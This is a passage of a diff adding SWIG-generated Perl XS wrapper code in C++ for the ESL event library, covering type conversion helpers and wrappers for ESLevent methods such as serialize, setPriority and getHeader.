+    pointer = get_sv("swig_runtime_data::type_pointer" SWIG_RUNTIME_VERSION SWIG_TYPE_TABLE_NAME, FALSE | GV_ADDMULTI);
+    if (pointer && SvOK(pointer)) {
+      type_pointer = INT2PTR(swig_type_info **, SvIV(pointer));
+    }
+  }
+
+  return (swig_module_info *) type_pointer;
+}
+
+SWIGRUNTIME void
+SWIG_Perl_SetModule(swig_module_info *module) {
+  SV *pointer;
+
+  /* create a new pointer */
+  pointer = get_sv("swig_runtime_data::type_pointer" SWIG_RUNTIME_VERSION SWIG_TYPE_TABLE_NAME, TRUE | GV_ADDMULTI);
+  sv_setiv(pointer, PTR2IV(module));
+}
+
+#ifdef __cplusplus
+}
+#endif
+
+/* Workaround perl5 global namespace pollution. Note that undefining library
+ * functions like fopen will not solve the problem on all platforms as fopen
+ * might be a macro on Windows but not necessarily on other operating systems. */
+#ifdef do_open
+  #undef do_open
+#endif
+#ifdef do_close
+  #undef do_close
+#endif
+#ifdef scalar
+  #undef scalar
+#endif
+#ifdef list
+  #undef list
+#endif
+#ifdef apply
+  #undef apply
+#endif
+#ifdef convert
+  #undef convert
+#endif
+#ifdef Error
+  #undef Error
+#endif
+#ifdef form
+  #undef form
+#endif
+#ifdef vform
+  #undef vform
+#endif
+#ifdef LABEL
+  #undef LABEL
+#endif
+#ifdef METHOD
+  #undef METHOD
+#endif
+#ifdef Move
+  #undef Move
+#endif
+#ifdef yylex
+  #undef yylex
+#endif
+#ifdef yyparse
+  #undef yyparse
+#endif
+#ifdef yyerror
+  #undef yyerror
+#endif
+#ifdef invert
+  #undef invert
+#endif
+#ifdef ref
+  #undef ref
+#endif
+#ifdef read
+  #undef read
+#endif
+#ifdef write
+  #undef write
+#endif
+#ifdef eof
+  #undef eof
+#endif
+#ifdef bool
+  #undef bool
+#endif
+#ifdef close
+  #undef close
+#endif
+#ifdef rewind
+  #undef rewind
+#endif
+#ifdef free
+  #undef free
+#endif
+#ifdef malloc
+  #undef malloc
+#endif
+#ifdef calloc
+  #undef calloc
+#endif
+#ifdef Stat
+  #undef Stat
+#endif
+#ifdef check
+  #undef check
+#endif
+#ifdef seekdir
+  #undef seekdir
+#endif
+#ifdef open
+  #undef open
+#endif
+
+
+
+#define SWIG_exception_fail(code, msg) do { SWIG_Error(code, msg); SWIG_fail; } while(0) 
+
+#define SWIG_contract_assert(expr, msg) if (!(expr)) { SWIG_Error(SWIG_RuntimeError, msg); SWIG_fail; } else 
+
+
+
+/* -------- TYPES TABLE (BEGIN) -------- */
+
+#define SWIGTYPE_p_ESLconnection swig_types[0]
+#define SWIGTYPE_p_ESLevent swig_types[1]
+#define SWIGTYPE_p_char swig_types[2]
+#define SWIGTYPE_p_esl_event_t swig_types[3]
+#define SWIGTYPE_p_esl_priority_t swig_types[4]
+static swig_type_info *swig_types[6];
+static swig_module_info swig_module = {swig_types, 5, 0, 0, 0, 0};
+#define SWIG_TypeQuery(name) SWIG_TypeQueryModule(&swig_module, &swig_module, name)
+#define SWIG_MangledTypeQuery(name) SWIG_MangledTypeQueryModule(&swig_module, &swig_module, name)
+
+/* -------- TYPES TABLE (END) -------- */
+
+#define SWIG_init    boot_ESL
+
+#define SWIG_name   "ESLc::boot_ESL"
+#define SWIG_prefix "ESLc::"
+
+#define SWIGVERSION 0x010335 
+#define SWIG_VERSION SWIGVERSION
+
+
+#define SWIG_as_voidptr(a) const_cast< void * >(static_cast< const void * >(a)) 
+#define SWIG_as_voidptrptr(a) ((void)SWIG_as_voidptr(*a),reinterpret_cast< void** >(a)) 
+
+
+#include <stdexcept>
+
+
+#ifdef __cplusplus
+extern "C"
+#endif
+#ifndef PERL_OBJECT
+#ifndef MULTIPLICITY
+SWIGEXPORT void SWIG_init (CV* cv);
+#else
+SWIGEXPORT void SWIG_init (pTHXo_ CV* cv);
+#endif
+#else
+SWIGEXPORT void SWIG_init (CV *cv, CPerlObj *);
+#endif
+
+
+#include "esl.h"
+#include "esl_oop.h"
+
+
+SWIGINTERN swig_type_info*
+SWIG_pchar_descriptor(void)
+{
+  static int init = 0;
+  static swig_type_info* info = 0;
+  if (!init) {
+    info = SWIG_TypeQuery("_p_char");
+    init = 1;
+  }
+  return info;
+}
+
+
+SWIGINTERN int
+SWIG_AsCharPtrAndSize(SV *obj, char** cptr, size_t* psize, int *alloc)
+{
+  if (SvPOK(obj)) {
+    STRLEN len = 0;
+    char *cstr = SvPV(obj, len); 
+    size_t size = len + 1;
+    if (cptr)  {
+      if (alloc) {
+	if (*alloc == SWIG_NEWOBJ) {
+	  *cptr = reinterpret_cast< char* >(memcpy((new char[size]), cstr, sizeof(char)*(size)));
+	} else {
+	  *cptr = cstr;
+	  *alloc = SWIG_OLDOBJ;
+	}
+      }
+    }
+    if (psize) *psize = size;
+    return SWIG_OK;
+  } else {
+    swig_type_info* pchar_descriptor = SWIG_pchar_descriptor();
+    if (pchar_descriptor) {
+      char* vptr = 0; 
+      if (SWIG_ConvertPtr(obj, (void**)&vptr, pchar_descriptor, 0) == SWIG_OK) {
+	if (cptr) *cptr = vptr;
+	if (psize) *psize = vptr ? (strlen(vptr) + 1) : 0;
+	if (alloc) *alloc = SWIG_OLDOBJ;
+	return SWIG_OK;
+      }
+    }
+  }
+  return SWIG_TypeError;
+}
+
+
+
+
+
+SWIGINTERNINLINE SV *
+SWIG_FromCharPtrAndSize(const char* carray, size_t size)
+{
+  SV *obj = sv_newmortal();
+  if (carray) {
+    sv_setpvn(obj, carray, size);
+  } else {
+    sv_setsv(obj, &PL_sv_undef);
+  }
+  return obj;
+}
+
+
+SWIGINTERNINLINE SV * 
+SWIG_FromCharPtr(const char *cptr)
+{ 
+  return SWIG_FromCharPtrAndSize(cptr, (cptr ? strlen(cptr) : 0));
+}
+
+
+#include <limits.h>
+#if !defined(SWIG_NO_LLONG_MAX)
+# if !defined(LLONG_MAX) && defined(__GNUC__) && defined (__LONG_LONG_MAX__)
+#   define LLONG_MAX __LONG_LONG_MAX__
+#   define LLONG_MIN (-LLONG_MAX - 1LL)
+#   define ULLONG_MAX (LLONG_MAX * 2ULL + 1ULL)
+# endif
+#endif
+
+
+SWIGINTERN int
+SWIG_AsVal_double SWIG_PERL_DECL_ARGS_2(SV *obj, double *val)
+{
+  if (SvNIOK(obj)) {
+    if (val) *val = SvNV(obj);
+    return SWIG_OK;
+  } else if (SvIOK(obj)) {
+    if (val) *val = (double) SvIV(obj);
+    return SWIG_AddCast(SWIG_OK);
+  } else {
+    const char *nptr = SvPV_nolen(obj);
+    if (nptr) {
+      char *endptr;
+      double v = strtod(nptr, &endptr);
+      if (errno == ERANGE) {
+	errno = 0;
+	return SWIG_OverflowError;
+      } else {
+	if (*endptr == '\0') {
+	  if (val) *val = v;
+	  return SWIG_Str2NumCast(SWIG_OK);
+	}
+      }
+    }
+  }
+  return SWIG_TypeError;
+}
+
+
+#include <float.h>
+
+
+#include <math.h>
+
+
+SWIGINTERNINLINE int
+SWIG_CanCastAsInteger(double *d, double min, double max) {
+  double x = *d;
+  if ((min <= x && x <= max)) {
+   double fx = floor(x);
+   double cx = ceil(x);
+   double rd =  ((x - fx) < 0.5) ? fx : cx; /* simple rint */
+   if ((errno == EDOM) || (errno == ERANGE)) {
+     errno = 0;
+   } else {
+     double summ, reps, diff;
+     if (rd < x) {
+       diff = x - rd;
+     } else if (rd > x) {
+       diff = rd - x;
+     } else {
+       return 1;
+     }
+     summ = rd + x;
+     reps = diff/summ;
+     if (reps < 8*DBL_EPSILON) {
+       *d = rd;
+       return 1;
+     }
+   }
+  }
+  return 0;
+}
+
+
+SWIGINTERN int
+SWIG_AsVal_long SWIG_PERL_DECL_ARGS_2(SV *obj, long* val)
+{
+  if (SvIOK(obj)) {
+    if (val) *val = SvIV(obj);
+    return SWIG_OK;
+  } else {
+    int dispatch = 0;
+    const char *nptr = SvPV_nolen(obj);
+    if (nptr) {
+      char *endptr;
+      long v;
+      errno = 0;
+      v = strtol(nptr, &endptr,0);
+      if (errno == ERANGE) {
+	errno = 0;
+	return SWIG_OverflowError;
+      } else {
+	if (*endptr == '\0') {
+	  if (val) *val = v;
+	  return SWIG_Str2NumCast(SWIG_OK);
+	}
+      }
+    }
+    if (!dispatch) {
+      double d;
+      int res = SWIG_AddCast(SWIG_AsVal_double SWIG_PERL_CALL_ARGS_2(obj,&d));
+      if (SWIG_IsOK(res) && SWIG_CanCastAsInteger(&d, LONG_MIN, LONG_MAX)) {
+	if (val) *val = (long)(d);
+	return res;
+      }
+    }
+  }
+  return SWIG_TypeError;
+}
+
+
+SWIGINTERN int
+SWIG_AsVal_int SWIG_PERL_DECL_ARGS_2(SV * obj, int *val)
+{
+  long v;
+  int res = SWIG_AsVal_long SWIG_PERL_CALL_ARGS_2(obj, &v);
+  if (SWIG_IsOK(res)) {
+    if ((v < INT_MIN || v > INT_MAX)) {
+      return SWIG_OverflowError;
+    } else {
+      if (val) *val = static_cast< int >(v);
+    }
+  }  
+  return res;
+}
+
+
+SWIGINTERNINLINE SV *
+SWIG_From_long  SWIG_PERL_DECL_ARGS_1(long value)
+{    
+  SV *obj = sv_newmortal();
+  sv_setiv(obj, (IV) value);
+  return obj;
+}
+
+
+SWIGINTERNINLINE SV *
+SWIG_From_int  SWIG_PERL_DECL_ARGS_1(int value)
+{    
+  return SWIG_From_long  SWIG_PERL_CALL_ARGS_1(value);
+}
+
+
+SWIGINTERNINLINE SV *
+SWIG_From_bool  SWIG_PERL_DECL_ARGS_1(bool value)
+{    
+  SV *obj = sv_newmortal();
+  if (value) {
+    sv_setsv(obj, &PL_sv_yes);
+  } else {
+    sv_setsv(obj, &PL_sv_no); 
+  }
+  return obj;
+}
+
+#ifdef __cplusplus
+extern "C" {
+#endif
+
+#ifdef PERL_OBJECT
+#define MAGIC_CLASS _wrap_ESL_var::
+class _wrap_ESL_var : public CPerlObj {
+public:
+#else
+#define MAGIC_CLASS
+#endif
+SWIGCLASS_STATIC int swig_magic_readonly(pTHX_ SV *SWIGUNUSEDPARM(sv), MAGIC *SWIGUNUSEDPARM(mg)) {
+    MAGIC_PPERL
+    croak("Value is read-only.");
+    return 0;
+}
+
+
+#ifdef PERL_OBJECT
+};
+#endif
+
+#ifdef __cplusplus
+}
+#endif
+
+#ifdef __cplusplus
+extern "C" {
+#endif
+XS(_wrap_ESLevent_event_set) {
+  {
+    ESLevent *arg1 = (ESLevent *) 0 ;
+    esl_event_t *arg2 = (esl_event_t *) 0 ;
+    void *argp1 = 0 ;
+    int res1 = 0 ;
+    void *argp2 = 0 ;
+    int res2 = 0 ;
+    int argvi = 0;
+    dXSARGS;
+    
+    if ((items < 2) || (items > 2)) {
+      SWIG_croak("Usage: ESLevent_event_set(self,event);");
+    }
+    res1 = SWIG_ConvertPtr(ST(0), &argp1,SWIGTYPE_p_ESLevent, 0 |  0 );
+    if (!SWIG_IsOK(res1)) {
+      SWIG_exception_fail(SWIG_ArgError(res1), "in method '" "ESLevent_event_set" "', argument " "1"" of type '" "ESLevent *""'"); 
+    }
+    arg1 = reinterpret_cast< ESLevent * >(argp1);
+    res2 = SWIG_ConvertPtr(ST(1), &argp2,SWIGTYPE_p_esl_event_t, SWIG_POINTER_DISOWN |  0 );
+    if (!SWIG_IsOK(res2)) {
+      SWIG_exception_fail(SWIG_ArgError(res2), "in method '" "ESLevent_event_set" "', argument " "2"" of type '" "esl_event_t *""'"); 
+    }
+    arg2 = reinterpret_cast< esl_event_t * >(argp2);
+    if (arg1) (arg1)->event = arg2;
+    
+    
+    
+    
+    XSRETURN(argvi);
+  fail:
+    
+    
+    SWIG_croak_null();
+  }
+}
+
+
+XS(_wrap_ESLevent_event_get) {
+  {
+    ESLevent *arg1 = (ESLevent *) 0 ;
+    esl_event_t *result = 0 ;
+    void *argp1 = 0 ;
+    int res1 = 0 ;
+    int argvi = 0;
+    dXSARGS;
+    
+    if ((items < 1) || (items > 1)) {
+      SWIG_croak("Usage: ESLevent_event_get(self);");
+    }
+    res1 = SWIG_ConvertPtr(ST(0), &argp1,SWIGTYPE_p_ESLevent, 0 |  0 );
+    if (!SWIG_IsOK(res1)) {
+      SWIG_exception_fail(SWIG_ArgError(res1), "in method '" "ESLevent_event_get" "', argument " "1"" of type '" "ESLevent *""'"); 
+    }
+    arg1 = reinterpret_cast< ESLevent * >(argp1);
+    result = (esl_event_t *) ((arg1)->event);
+    ST(argvi) = SWIG_NewPointerObj(SWIG_as_voidptr(result), SWIGTYPE_p_esl_event_t, 0 | 0); argvi++ ;
+    
+    XSRETURN(argvi);
+  fail:
+    
+    SWIG_croak_null();
+  }
+}
+
+
+XS(_wrap_ESLevent_serialized_string_set) {
+  {
+    ESLevent *arg1 = (ESLevent *) 0 ;
+    char *arg2 = (char *) 0 ;
+    void *argp1 = 0 ;
+    int res1 = 0 ;
+    int res2 ;
+    char *buf2 = 0 ;
+    int alloc2 = 0 ;
+    int argvi = 0;
+    dXSARGS;
+    
+    if ((items < 2) || (items > 2)) {
+      SWIG_croak("Usage: ESLevent_serialized_string_set(self,serialized_string);");
+    }
+    res1 = SWIG_ConvertPtr(ST(0), &argp1,SWIGTYPE_p_ESLevent, 0 |  0 );
+    if (!SWIG_IsOK(res1)) {
+      SWIG_exception_fail(SWIG_ArgError(res1), "in method '" "ESLevent_serialized_string_set" "', argument " "1"" of type '" "ESLevent *""'"); 
+    }
+    arg1 = reinterpret_cast< ESLevent * >(argp1);
+    res2 = SWIG_AsCharPtrAndSize(ST(1), &buf2, NULL, &alloc2);
+    if (!SWIG_IsOK(res2)) {
+      SWIG_exception_fail(SWIG_ArgError(res2), "in method '" "ESLevent_serialized_string_set" "', argument " "2"" of type '" "char *""'");
+    }
+    arg2 = reinterpret_cast< char * >(buf2);
+    if (arg1->serialized_string) delete[] arg1->serialized_string;
+    if (arg2) {
+      size_t size = strlen(reinterpret_cast< const char * >(arg2)) + 1;
+      arg1->serialized_string = (char *)reinterpret_cast< char* >(memcpy((new char[size]), reinterpret_cast< const char * >(arg2), sizeof(char)*(size)));
+    } else {
+      arg1->serialized_string = 0;
+    }
+    
+    
+    if (alloc2 == SWIG_NEWOBJ) delete[] buf2;
+    XSRETURN(argvi);
+  fail:
+    
+    if (alloc2 == SWIG_NEWOBJ) delete[] buf2;
+    SWIG_croak_null();
+  }
+}
+
+
+XS(_wrap_ESLevent_serialized_string_get) {
+  {
+    ESLevent *arg1 = (ESLevent *) 0 ;
+    char *result = 0 ;
+    void *argp1 = 0 ;
+    int res1 = 0 ;
+    int argvi = 0;
+    dXSARGS;
+    
+    if ((items < 1) || (items > 1)) {
+      SWIG_croak("Usage: ESLevent_serialized_string_get(self);");
+    }
+    res1 = SWIG_ConvertPtr(ST(0), &argp1,SWIGTYPE_p_ESLevent, 0 |  0 );
+    if (!SWIG_IsOK(res1)) {
+      SWIG_exception_fail(SWIG_ArgError(res1), "in method '" "ESLevent_serialized_string_get" "', argument " "1"" of type '" "ESLevent *""'"); 
+    }
+    arg1 = reinterpret_cast< ESLevent * >(argp1);
+    result = (char *) ((arg1)->serialized_string);
+    ST(argvi) = SWIG_FromCharPtr((const char *)result); argvi++ ;
+    
+    XSRETURN(argvi);
+  fail:
+    
+    SWIG_croak_null();
+  }
+}
+
+
+XS(_wrap_ESLevent_mine_set) {
+  {
+    ESLevent *arg1 = (ESLevent *) 0 ;
+    int arg2 ;
+    void *argp1 = 0 ;
+    int res1 = 0 ;
+    int val2 ;
+    int ecode2 = 0 ;
+    int argvi = 0;
+    dXSARGS;
+    
+    if ((items < 2) || (items > 2)) {
+      SWIG_croak("Usage: ESLevent_mine_set(self,mine);");
+    }
+    res1 = SWIG_ConvertPtr(ST(0), &argp1,SWIGTYPE_p_ESLevent, 0 |  0 );
+    if (!SWIG_IsOK(res1)) {
+      SWIG_exception_fail(SWIG_ArgError(res1), "in method '" "ESLevent_mine_set" "', argument " "1"" of type '" "ESLevent *""'"); 
+    }
+    arg1 = reinterpret_cast< ESLevent * >(argp1);
+    ecode2 = SWIG_AsVal_int SWIG_PERL_CALL_ARGS_2(ST(1), &val2);
+    if (!SWIG_IsOK(ecode2)) {
+      SWIG_exception_fail(SWIG_ArgError(ecode2), "in method '" "ESLevent_mine_set" "', argument " "2"" of type '" "int""'");
+    } 
+    arg2 = static_cast< int >(val2);
+    if (arg1) (arg1)->mine = arg2;
+    
+    
+    
+    
+    XSRETURN(argvi);
+  fail:
+    
+    
+    SWIG_croak_null();
+  }
+}
+
+
+XS(_wrap_ESLevent_mine_get) {
+  {
+    ESLevent *arg1 = (ESLevent *) 0 ;
+    int result;
+    void *argp1 = 0 ;
+    int res1 = 0 ;
+    int argvi = 0;
+    dXSARGS;
+    
+    if ((items < 1) || (items > 1)) {
+      SWIG_croak("Usage: ESLevent_mine_get(self);");
+    }
+    res1 = SWIG_ConvertPtr(ST(0), &argp1,SWIGTYPE_p_ESLevent, 0 |  0 );
+    if (!SWIG_IsOK(res1)) {
+      SWIG_exception_fail(SWIG_ArgError(res1), "in method '" "ESLevent_mine_get" "', argument " "1"" of type '" "ESLevent *""'"); 
+    }
+    arg1 = reinterpret_cast< ESLevent * >(argp1);
+    result = (int) ((arg1)->mine);
+    ST(argvi) = SWIG_From_int  SWIG_PERL_CALL_ARGS_1(static_cast< int >(result)); argvi++ ;
+    
+    XSRETURN(argvi);
+  fail:
+    
+    SWIG_croak_null();
+  }
+}
+
+
+XS(_wrap_new_ESLevent__SWIG_0) {
+  {
+    char *arg1 = (char *) 0 ;
+    char *arg2 = (char *) NULL ;
+    ESLevent *result = 0 ;
+    int res1 ;
+    char *buf1 = 0 ;
+    int alloc1 = 0 ;
+    int res2 ;
+    char *buf2 = 0 ;
+    int alloc2 = 0 ;
+    int argvi = 0;
+    dXSARGS;
+    
+    if ((items < 1) || (items > 2)) {
+      SWIG_croak("Usage: new_ESLevent(type,subclass_name);");
+    }
+    res1 = SWIG_AsCharPtrAndSize(ST(0), &buf1, NULL, &alloc1);
+    if (!SWIG_IsOK(res1)) {
+      SWIG_exception_fail(SWIG_ArgError(res1), "in method '" "new_ESLevent" "', argument " "1"" of type '" "char const *""'");
+    }
+    arg1 = reinterpret_cast< char * >(buf1);
+    if (items > 1) {
+      res2 = SWIG_AsCharPtrAndSize(ST(1), &buf2, NULL, &alloc2);
+      if (!SWIG_IsOK(res2)) {
+        SWIG_exception_fail(SWIG_ArgError(res2), "in method '" "new_ESLevent" "', argument " "2"" of type '" "char const *""'");
+      }
+      arg2 = reinterpret_cast< char * >(buf2);
+    }
+    result = (ESLevent *)new ESLevent((char const *)arg1,(char const *)arg2);
+    ST(argvi) = SWIG_NewPointerObj(SWIG_as_voidptr(result), SWIGTYPE_p_ESLevent, SWIG_OWNER | SWIG_SHADOW); argvi++ ;
+    if (alloc1 == SWIG_NEWOBJ) delete[] buf1;
+    if (alloc2 == SWIG_NEWOBJ) delete[] buf2;
+    XSRETURN(argvi);
+  fail:
+    if (alloc1 == SWIG_NEWOBJ) delete[] buf1;
+    if (alloc2 == SWIG_NEWOBJ) delete[] buf2;
+    SWIG_croak_null();
+  }
+}
+
+
+XS(_wrap_new_ESLevent__SWIG_1) {
+  {
+    esl_event_t *arg1 = (esl_event_t *) 0 ;
+    int arg2 = (int) 0 ;
+    ESLevent *result = 0 ;
+    void *argp1 = 0 ;
+    int res1 = 0 ;
+    int val2 ;
+    int ecode2 = 0 ;
+    int argvi = 0;
+    dXSARGS;
+    
+    if ((items < 1) || (items > 2)) {
+      SWIG_croak("Usage: new_ESLevent(wrap_me,free_me);");
+    }
+    res1 = SWIG_ConvertPtr(ST(0), &argp1,SWIGTYPE_p_esl_event_t, 0 |  0 );
+    if (!SWIG_IsOK(res1)) {
+      SWIG_exception_fail(SWIG_ArgError(res1), "in method '" "new_ESLevent" "', argument " "1"" of type '" "esl_event_t *""'"); 
+    }
+    arg1 = reinterpret_cast< esl_event_t * >(argp1);
+    if (items > 1) {
+      ecode2 = SWIG_AsVal_int SWIG_PERL_CALL_ARGS_2(ST(1), &val2);
+      if (!SWIG_IsOK(ecode2)) {
+        SWIG_exception_fail(SWIG_ArgError(ecode2), "in method '" "new_ESLevent" "', argument " "2"" of type '" "int""'");
+      } 
+      arg2 = static_cast< int >(val2);
+    }
+    result = (ESLevent *)new ESLevent(arg1,arg2);
+    ST(argvi) = SWIG_NewPointerObj(SWIG_as_voidptr(result), SWIGTYPE_p_ESLevent, SWIG_OWNER | SWIG_SHADOW); argvi++ ;
+    
+    
+    XSRETURN(argvi);
+  fail:
+    
+    
+    SWIG_croak_null();
+  }
+}
+
+
+XS(_wrap_new_ESLevent__SWIG_2) {
+  {
+    ESLevent *arg1 = (ESLevent *) 0 ;
+    ESLevent *result = 0 ;
+    void *argp1 = 0 ;
+    int res1 = 0 ;
+    int argvi = 0;
+    dXSARGS;
+    
+    if ((items < 1) || (items > 1)) {
+      SWIG_croak("Usage: new_ESLevent(me);");
+    }
+    res1 = SWIG_ConvertPtr(ST(0), &argp1,SWIGTYPE_p_ESLevent, 0 |  0 );
+    if (!SWIG_IsOK(res1)) {
+      SWIG_exception_fail(SWIG_ArgError(res1), "in method '" "new_ESLevent" "', argument " "1"" of type '" "ESLevent *""'"); 
+    }
+    arg1 = reinterpret_cast< ESLevent * >(argp1);
+    result = (ESLevent *)new ESLevent(arg1);
+    ST(argvi) = SWIG_NewPointerObj(SWIG_as_voidptr(result), SWIGTYPE_p_ESLevent, SWIG_OWNER | SWIG_SHADOW); argvi++ ;
+    
+    XSRETURN(argvi);
+  fail:
+    
+    SWIG_croak_null();
+  }
+}
+
+
+XS(_wrap_new_ESLevent) {
+  dXSARGS;
+  
+  {
+    unsigned long _index = 0;
+    SWIG_TypeRank _rank = 0; 
+    if ((items >= 1) && (items <= 2)) {
+      SWIG_TypeRank _ranki = 0;
+      SWIG_TypeRank _rankm = 0;
+      SWIG_TypeRank _pi = 1;
+      int _v = 0;
+      {
+        void *vptr = 0;
+        int res = SWIG_ConvertPtr(ST(0), &vptr, SWIGTYPE_p_esl_event_t, 0);
+        _v = SWIG_CheckState(res);
+      }
+      if (!_v) goto check_1;
+      _ranki += _v*_pi;
+      _rankm += _pi;
+      _pi *= SWIG_MAXCASTRANK;
+      if (items > 1) {
+        {
+          {
+            int res = SWIG_AsVal_int SWIG_PERL_CALL_ARGS_2(ST(1), NULL);
+            _v = SWIG_CheckState(res);
+          }
+        }
+        if (!_v) goto check_1;
+        _ranki += _v*_pi;
+        _rankm += _pi;
+        _pi *= SWIG_MAXCASTRANK;
+      }
+      if (!_index || (_ranki < _rank)) {
+        _rank = _ranki; _index = 1;
+        if (_rank == _rankm) goto dispatch;
+      }
+    }
+  check_1:
+    
+    if (items == 1) {
+      SWIG_TypeRank _ranki = 0;
+      SWIG_TypeRank _rankm = 0;
+      SWIG_TypeRank _pi = 1;
+      int _v = 0;
+      {
+        void *vptr = 0;
+        int res = SWIG_ConvertPtr(ST(0), &vptr, SWIGTYPE_p_ESLevent, 0);
+        _v = SWIG_CheckState(res);
+      }
+      if (!_v) goto check_2;
+      _ranki += _v*_pi;
+      _rankm += _pi;
+      _pi *= SWIG_MAXCASTRANK;
+      if (!_index || (_ranki < _rank)) {
+        _rank = _ranki; _index = 2;
+        if (_rank == _rankm) goto dispatch;
+      }
+    }
+  check_2:
+    
+    if ((items >= 1) && (items <= 2)) {
+      SWIG_TypeRank _ranki = 0;
+      SWIG_TypeRank _rankm = 0;
+      SWIG_TypeRank _pi = 1;
+      int _v = 0;
+      {
+        int res = SWIG_AsCharPtrAndSize(ST(0), 0, NULL, 0);
+        _v = SWIG_CheckState(res);
+      }
+      if (!_v) goto check_3;
+      _ranki += _v*_pi;
+      _rankm += _pi;
+      _pi *= SWIG_MAXCASTRANK;
+      if (items > 1) {
+        {
+          int res = SWIG_AsCharPtrAndSize(ST(1), 0, NULL, 0);
+          _v = SWIG_CheckState(res);
+        }
+        if (!_v) goto check_3;
+        _ranki += _v*_pi;
+        _rankm += _pi;
+        _pi *= SWIG_MAXCASTRANK;
+      }
+      if (!_index || (_ranki < _rank)) {
+        _rank = _ranki; _index = 3;
+        if (_rank == _rankm) goto dispatch;
+      }
+    }
+  check_3:
+    
+  dispatch:
+    switch(_index) {
+    case 1:
+      ++PL_markstack_ptr; SWIG_CALLXS(_wrap_new_ESLevent__SWIG_1); return;
+    case 2:
+      ++PL_markstack_ptr; SWIG_CALLXS(_wrap_new_ESLevent__SWIG_2); return;
+    case 3:
+      ++PL_markstack_ptr; SWIG_CALLXS(_wrap_new_ESLevent__SWIG_0); return;
+    }
+  }
+  
+  croak("No matching function for overloaded 'new_ESLevent'");
+  XSRETURN(0);
+}
+
+
+XS(_wrap_delete_ESLevent) {
+  {
+    ESLevent *arg1 = (ESLevent *) 0 ;
+    void *argp1 = 0 ;
+    int res1 = 0 ;
+    int argvi = 0;
+    dXSARGS;
+    
+    if ((items < 1) || (items > 1)) {
+      SWIG_croak("Usage: delete_ESLevent(self);");
+    }
+    res1 = SWIG_ConvertPtr(ST(0), &argp1,SWIGTYPE_p_ESLevent, SWIG_POINTER_DISOWN |  0 );
+    if (!SWIG_IsOK(res1)) {
+      SWIG_exception_fail(SWIG_ArgError(res1), "in method '" "delete_ESLevent" "', argument " "1"" of type '" "ESLevent *""'"); 
+    }
+    arg1 = reinterpret_cast< ESLevent * >(argp1);
+    delete arg1;
+    
+    
+    
+    XSRETURN(argvi);
+  fail:
+    
+    SWIG_croak_null();
+  }
+}
+
+
+XS(_wrap_ESLevent_serialize) {
+  {
+    ESLevent *arg1 = (ESLevent *) 0 ;
+    char *arg2 = (char *) NULL ;
+    char *result = 0 ;
+    void *argp1 = 0 ;
+    int res1 = 0 ;
+    int res2 ;
+    char *buf2 = 0 ;
+    int alloc2 = 0 ;
+    int argvi = 0;
+    dXSARGS;
+    
+    if ((items < 1) || (items > 2)) {
+      SWIG_croak("Usage: ESLevent_serialize(self,format);");
+    }
+    res1 = SWIG_ConvertPtr(ST(0), &argp1,SWIGTYPE_p_ESLevent, 0 |  0 );
+    if (!SWIG_IsOK(res1)) {
+      SWIG_exception_fail(SWIG_ArgError(res1), "in method '" "ESLevent_serialize" "', argument " "1"" of type '" "ESLevent *""'"); 
+    }
+    arg1 = reinterpret_cast< ESLevent * >(argp1);
+    if (items > 1) {
+      res2 = SWIG_AsCharPtrAndSize(ST(1), &buf2, NULL, &alloc2);
+      if (!SWIG_IsOK(res2)) {
+        SWIG_exception_fail(SWIG_ArgError(res2), "in method '" "ESLevent_serialize" "', argument " "2"" of type '" "char const *""'");
+      }
+      arg2 = reinterpret_cast< char * >(buf2);
+    }
+    result = (char *)(arg1)->serialize((char const *)arg2);
+    ST(argvi) = SWIG_FromCharPtr((const char *)result); argvi++ ;
+    
+    if (alloc2 == SWIG_NEWOBJ) delete[] buf2;
+    XSRETURN(argvi);
+  fail:
+    
+    if (alloc2 == SWIG_NEWOBJ) delete[] buf2;
+    SWIG_croak_null();
+  }
+}
+
+
+XS(_wrap_ESLevent_setPriority) {
+  {
+    ESLevent *arg1 = (ESLevent *) 0 ;
+    esl_priority_t arg2 = (esl_priority_t) ESL_PRIORITY_NORMAL ;
+    bool result;
+    void *argp1 = 0 ;
+    int res1 = 0 ;
+    void *argp2 ;
+    int res2 = 0 ;
+    int argvi = 0;
+    dXSARGS;
+    
+    if ((items < 1) || (items > 2)) {
+      SWIG_croak("Usage: ESLevent_setPriority(self,priority);");
+    }
+    res1 = SWIG_ConvertPtr(ST(0), &argp1,SWIGTYPE_p_ESLevent, 0 |  0 );
+    if (!SWIG_IsOK(res1)) {
+      SWIG_exception_fail(SWIG_ArgError(res1), "in method '" "ESLevent_setPriority" "', argument " "1"" of type '" "ESLevent *""'"); 
+    }
+    arg1 = reinterpret_cast< ESLevent * >(argp1);
+    if (items > 1) {
+      {
+        res2 = SWIG_ConvertPtr(ST(1), &argp2, SWIGTYPE_p_esl_priority_t,  0 );
+        if (!SWIG_IsOK(res2)) {
+          SWIG_exception_fail(SWIG_ArgError(res2), "in method '" "ESLevent_setPriority" "', argument " "2"" of type '" "esl_priority_t""'"); 
+        }  
+        if (!argp2) {
+          SWIG_exception_fail(SWIG_ValueError, "invalid null reference " "in method '" "ESLevent_setPriority" "', argument " "2"" of type '" "esl_priority_t""'");
+        } else {
+          arg2 = *(reinterpret_cast< esl_priority_t * >(argp2));
+        }
+      }
+    }
+    result = (bool)(arg1)->setPriority(arg2);
+    ST(argvi) = SWIG_From_bool  SWIG_PERL_CALL_ARGS_1(static_cast< bool >(result)); argvi++ ;
+    
+    XSRETURN(argvi);
+  fail:
+    
+    SWIG_croak_null();
+  }
+}
+
+
+XS(_wrap_ESLevent_getHeader) {
+  {
+    ESLevent *arg1 = (ESLevent *) 0 ;
+    char *arg2 = (char *) 0 ;
+    char *result = 0 ;
+    void *argp1 = 0 ;
+    int res1 = 0 ;
+    int res2 ;
+    char *buf2 = 0 ;
+    int alloc2 = 0 ;
+    int argvi = 0;
+    dXSARGS;
+    
+    if ((items < 2) || (items > 2)) {
+      SWIG_croak("Usage: ESLevent_getHeader(self,header_name);");
+    }
+    res1 = SWIG_ConvertPtr(ST(0), &argp1,SWIGTYPE_p_ESLevent, 0 |  0 );
+    if (!SWIG_IsOK(res1)) {
+      SWIG_exception_fail(SWIG_ArgError(res1), "in method '" "ESLevent_getHeader" "', argument " "1"" of type '" "ESLevent *""'"); 
+    }
+    arg1 = reinterpret_cast< ESLevent * >(argp1);
+    res2 = SWIG_AsCharPtrAndSize(ST(1), &buf2, NULL, &alloc2);
+    if (!SWIG_IsOK(res2)) {
+      SWIG_exception_fail(SWIG_ArgError(res2), "in method '" "ESLevent_getHeader" "', argument " "2"" of type '" "char const *""'");
+    }
+    arg2 = reinterpret_cast< char * >(buf2);
